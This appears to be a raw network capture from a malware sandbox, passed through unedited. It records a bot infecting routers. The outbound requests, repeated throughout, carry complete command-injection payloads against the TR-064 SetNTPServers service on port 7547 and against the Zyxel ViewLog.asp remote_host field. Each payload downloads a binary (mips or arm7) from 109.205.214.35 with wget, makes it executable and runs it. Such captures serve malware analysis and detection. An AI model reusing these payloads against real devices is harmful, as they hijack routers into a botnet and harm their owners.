Mar 21, 2024 05:27:12.613915920 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:13.579538107 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:15.461498022 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1781	192.168.2.23	33054	50.48.213.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:12.456624985 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:13.125988007 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1782	192.168.2.23	51548	86.145.0.223	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:12.742944956 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:12.941488028 CET	388	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 05:15:00 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1783	192.168.2.23	33456	80.220.132.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:12.746855974 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:12.944772959 CET	389	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; SameSite=Lax; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Mar 21, 2024 05:27:13.563771009 CET	389	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; SameSite=Lax; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1784	192.168.2.23	60246	178.167.67.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:12.758554935 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:12.976623058 CET	337	IN	HTTP/1.1 405 Not Allowed Server: Web server Date: Thu, 21 Mar 2024 04:27:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 155 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>Web server</center></body></html>
Mar 21, 2024 05:27:12.976658106 CET	317	IN	HTTP/1.1 400 Bad Request Server: Web server Date: Thu, 21 Mar 2024 04:27:07 GMT Content-Type: text/html Content-Length: 155 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>Web server</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1785	192.168.2.23	46944	213.188.208.3	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:12.838032007 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:13.318001986 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:13.445071936 CET	329	IN	HTTP/1.1 200 OK content-type: text/plain date: Thu, 21 Mar 2024 04:27:13 GMT connection: keep-alive keep-alive: timeout=5 transfer-encoding: chunked content-encoding: gzip server: Fly/0052f39f (2024-03-18) via: 1.1 fly.io fly-request-id: 01HSFM6PJG0KPH6KYHAGAWH9JE-ewr Data Raw: 31 45 0d 0a 1f 8b 08 00 00 00 00 00 04 ff f2 48 cd c9 c9 d7 51 08 cf 2f ca 49 51 e4 02 00 00 00 ff ff 0d 0a Data Ascii: 1EHQ/IQ
Mar 21, 2024 05:27:13.445106983 CET	27	IN	Data Raw: 41 0d 0a 03 00 84 9e e8 b4 0e 00 00 00 0d 0a Data Ascii: A
Mar 21, 2024 05:27:13.445120096 CET	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Mar 21, 2024 05:27:13.445194006 CET	96	IN	HTTP/1.1 400 Bad Request content-length: 0 date: Thu, 21 Mar 2024 04:27:12 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
1786	192.168.2.23	35140	213.92.218.53	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:12.961607933 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:13.169414043 CET	259	IN	HTTP/1.1 501 Not Implemented Connection: Keep-Alive Content-Length: 121 Date: Thu, 21 Mar 2024 04:27:05 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>
Mar 21, 2024 05:27:13.169913054 CET	251	IN	HTTP/1.0 503 unknown method Connection: close Content-Length: 119 Date: Thu, 21 Mar 2024 04:27:05 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 33 3a 20 75 6e 6b 6e 6f 77 6e 20 6d 65 74 68 6f 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 503: unknown method</title></head><body><h1>Error 503: unknown method</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1787	192.168.2.23	42812	121.7.59.12	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.145001888 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:13.500608921 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1788	192.168.2.23	42840	121.7.59.12	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.500731945 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:13.833096027 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1789	192.168.2.23	33106	50.48.213.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.582468987 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1790	192.168.2.23	40330	98.4.227.113	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:13.621501923 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:14.245671988 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:14.981610060 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1791	192.168.2.23	42280	213.170.5.118	80

Timestamp	Bytes transferred	Direction	Data
